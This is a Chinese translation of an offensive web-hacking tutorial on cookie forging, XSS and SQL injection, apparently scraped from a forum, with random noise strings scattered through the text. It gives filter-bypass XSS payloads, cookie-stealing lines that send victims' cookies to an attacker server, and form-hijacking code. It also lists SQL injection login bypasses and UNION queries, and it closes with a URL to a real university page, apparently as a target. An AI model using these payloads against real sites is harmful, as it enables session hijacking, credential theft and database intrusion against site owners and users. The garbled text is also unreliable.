XSS & SQL注入

admin

XSS & SQL注入
文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]
4 T& i5 U1 \$ _- H6 R) [8 m# J2 S
8 Q8 N# y4 L+ f6 B1 v
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

) {% k; A9 L& b" j
% M$ g2 N. @0 x" Y~介绍
. C/ v' W- k" w  t/ b& X! \+ s5 V
在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
  Q3 n! j) ?: U! v0 q
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
) i& i1 G8 B7 F" E. J
XXXXXXXXXXXXXXXXXXXX
+ b4 G0 {! |2 c0 d4 b7 hX Cookie Editing X
  K6 V8 e% e. [! Y1 k; d# A1 b2 DX XSS X
) T) }* k5 J. d, _X SQL Injection X
XXXXXXXXXXXXXXXXXXXX
6 M% F$ \- T6 @) K0 m! Z
) J  {! ?4 b5 X! D/ n6 |3 Z# _' K~什么是cookie
7 {$ \1 R* u5 c8 {3 D, q
cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
. j- i/ V& Q  @/ P+ v: u8 G( p
: q1 ]3 l3 j; Q8 e/ _$ }) x# k- R~警告&欺骗
* Y+ i! I- u5 O. f$ Y# {8 G
那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
) S, L, I$ U5 }1 ?$ p# q2 J8 b
strusername=cnsst;strpassword=cnsst
. c0 D. V7 s1 }/ u: M& Y
此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
2 k/ W8 |: q4 ~' C4 w& |现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS
1 a( U* Q! W- q/ A- r7 a
! P" O" Q. T5 F( Z% W1 Q' AXSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

7 y  A5 u/ N+ B/ O$ M~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
9 b1 d1 A3 E( ^; B# K) m你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

9 H3 L0 q6 ]& j& Z~让我们开始吧…

我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

: g, F+ N) E; W1 L3 ^+ s6 JXSS--跨站脚本&lt;html&gt;

&lt;body&gt;
- {0 H2 }. t5 P: [4 F
3 b8 y$ R: ^7 ?+ X+ n0 d; S7 J&lt;form action="" method="GET"&gt;
* j, i. I* V& Y9 l
&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

3 C& Z$ h2 z- u  m; \$ U, bScript: &lt;input name="name" type="name"&gt;

( @# k5 r% z& H4 ^" u. w&lt;input type="submit" value="submit"&gt;

2 q, z* {" O. `9 H9 A  o8 G&lt;/form&gt;

&lt;/body&gt;
3 ^$ _% H3 X# N5 Z
&lt;/html&gt;



&lt;?php

$name = $_GET['name'];

echo("Hello $name");
+ Z" P# W$ g8 j8 b7 r5 q) ~
?&gt;
0 I- v# g' t. X复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
& Z" E# b. y7 H( v" H; y8 u1 P
% |$ \* H, {0 t3 E# D2 ?4 _cnsst
4 L7 j8 s; w9 V"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>
2 i5 r) E: k2 b. |- Z; p- x  E& `
那么它将会弹出document.cookie!所以它是易受XSS攻击的!
1 ~" N8 v% S7 R) ~3 @
现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
. W4 r( z, t9 m7 n* s! l' ^
9 e# u  k2 g' ^9 @, M) n+ E. F% f已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
: Z6 ~/ ]6 p1 \3 @' W
+ G- k) J: K9 H% T. B让我们看一个稍微复杂点的例子!

假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
scriptalertdocument.cookie/script
9 X- W% r* g- U; B/ h
/ V. Y) N8 v5 r, S1 J可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
" n! i7 \0 _5 q2 x
- W# c7 P6 ?5 ]+ p让我们继续利用:
- _1 k! z* H3 V. T9 r<<script>>alert(document.cookie)<</script>>

你的输出将弹出document.cookie.

6 A$ m' m, C7 {+ y8 g( [现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>
. C1 ?7 ^0 @" M: |, U# i/ P
+ U3 _1 \+ g$ T0 r5 T6 X
. y% d" N/ E3 J, x" h他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>  
2 f( H6 z4 r  G8 X" @0 _/ k+ |
他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>
" T0 A) K: t6 A+ Z: x% p
输出像这样:srplert(document.cookie)srp

仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
; u+ l( G, y/ V& @4 w. O
2 B6 _- |, C+ Z2 h8 Q2 l) H所有重复多余的部分刚好被替换!现在让我们来点更高级的!
# X9 |# Z% j: p3 v6 S
# h5 K8 q4 a% \; x这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
2 W& D1 t2 I' e; p1 J& J& i<script>alert(document.cookie)</script>

输出将是:
scriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>
2 f, _, q1 W. g+ q3 L
; k  R5 y+ ?$ ]# F+ W- x输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
4 l4 c1 F8 X2 F- H( |
: ^4 k3 E4 W4 Y/ y; `<
script
/ P2 a/ B+ F7 A: g>
* L: {$ V* s2 X0 G* \4 B; walert
1 r: ]0 M- |2 S" G/ F9 `* x) P(
document
. z7 a. W/ [6 h( ^" c) T2 v0 f  j.
0 L) K$ i1 }$ gcookie
9 q! y0 Q3 p3 \. b! _. q0 J)
<
/
$ w/ g8 a, ]0 Q$ dscript
  `, {7 B0 H: D0 q, Q% F>
0 ]5 A! H2 r" g9 H

1 h0 U( f5 S( d7 a5 f) M- Z看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
( h( p: R, T6 R0 s+ t/ F<
! ?& c! R* o; Z2 r+ Is
c
r
i
0 j& T% u$ U" Tp
/ i! K0 i  h/ M% [$ x" t) et
$ }4 y. F% y6 D& t>
a
l
e
r
' h" O3 B* u' t( tt
(
d
o
; e2 R* @0 x& z9 Z' s9 Bc
" _. O# p" U. y& cu
0 j% Y2 x# z- x9 W9 ?( gm
e
% \) \0 d, J5 d% u9 F9 k( R' m+ F( nn
) \, y% S' W( G0 k0 _7 A. j/ @t
* `( v( X$ H2 |, J, R4 G+ k  H, D.
" q4 h8 ^1 v) Y3 i& k* \* s7 lc
o
% y3 _6 L* {4 D, Xo
! I# B9 i3 \. K" P0 Kk
* X( j) }8 t- H' K) U. \+ Ai
/ p2 M1 |" Q8 k# xe
) |5 Q7 K0 N$ X2 |! _5 w1 c, ?: [)
<
/
s
c
r
, N2 f9 \$ K1 J( N! wi
p
t
/
& |# h) A& H& g& K8 L4 v4 k>

这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
% v/ P; h# n* w2 V, Z
还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.

首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
+ i0 z! D9 }$ J( X
我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
& m6 `+ T" F) b5 k" c; Edocument.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
! |( A$ g- K; Y& q6 {! U
再次假设你在网站上注册了一个帐号,并且可以自定义资料...
' C3 k! M1 \! @/ L# Rdocument.images(0).src="http://myserver/cookie.php"+document.cookie.
* `/ p# {/ w! y7 _1 v8 }: r或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
3 u; x" P+ u: Z" Y
1 l! H  Y8 O1 }/ C有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
4 ~8 e8 t/ u, u; z) S- h# yGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
/ }  e. |( w9 r* |; EReferer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入

" P) q  X% w8 _' L8 ySQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
/ I% |/ Z: z( r
- x$ Z( u( Q" a/ Z9 f0 w&lt;body&gt;

: J5 J7 A; Z8 H! q8 S&lt;form action="" method="POST"&gt;

' G/ O8 Z: I5 l* z5 m: xUsername: &lt;input name="name" type="name"&gt;

Password: &lt;input name="password" type="password"&gt;

&lt;input type="submit" type="submit" value="Submit"&gt;

: b, l! G- o( l# t7 L1 X  g- N&lt;/form&gt;

&lt;/body&gt;

  h6 z# u/ H0 I&lt;/html&gt;
  R3 U3 O# x* u+ H复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
7 m1 t0 o5 H* L! K$ D7 K& N
% ~  L8 F) V: q, h- R: Q$ C最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
'OR 1=1--
" }) ?, L7 N: z" s  g7 E$ H'OR a=a--
8 T: x  l, x, m; M" j5 s'OR'
4 p( l  J/ _! m/ x1 I
自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
% Z& [" |/ h. h) y% F, U4 |
8 Z" T+ x) |" X" t; U6 r+ t3 g'OR''='
1 u; ]3 C9 S" }' c5 ['OR"="
( h; h$ `  S# D5 u( i; Q'OR'="
$ B+ m2 M) X, R( E! m) i'OR '="
1 R  p8 I$ G, Q' n'OR "='
- i# k6 f( P) w6 z4 W'OR ''='
5 }( ]1 u0 F& W; M  `'OR '=''
'OR "=''
'OR ''="


3 S& I) }' n3 K$ s~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
: t% g! c* Z  \+ W4 {8 x$ MUNION ALL SELECT username,password FROM users
, u" d5 F) {( o0 n' V) L
这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='

/ F, |+ b6 j7 W你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
9 i2 g  ?4 \* f7 E1 a) O
一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
. Z7 ~+ E9 j4 Y9 _( A5 z5 dUNION ALL SELECT
6 L# \* O! o4 eip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
( l# O6 K( Z, v8 b) P& M2 ]WHERE ip='OR''="
) u( y9 S1 x# S! d- y* g
现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
+ _* C5 M9 p. t+ ^+ o, ]http://example.com/index.php?article='

1 _0 \1 S' e8 P9 d7 A
现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
2 a8 j' G3 ^# h: J3 xhttp://example.com/index.php?article='
5 Y" Q: ~# h2 t' Phttp://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
: [- V0 X, ~' L. B( Q$ ]- }( Phttp://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
+ s1 I" }, n+ W0 chttp://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
( l" `: c# ]" A8 whttp://example.com/index.php?article='OR''='
) a) L& U1 }; x( T/ c  O8 ehttp://example.com/index.php?article='OR"'='
6 F% m# v3 A6 T2 R* d( K1 `http://example.com/index.php?article='OR"''='

& M' b/ ~9 A- H+ I尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704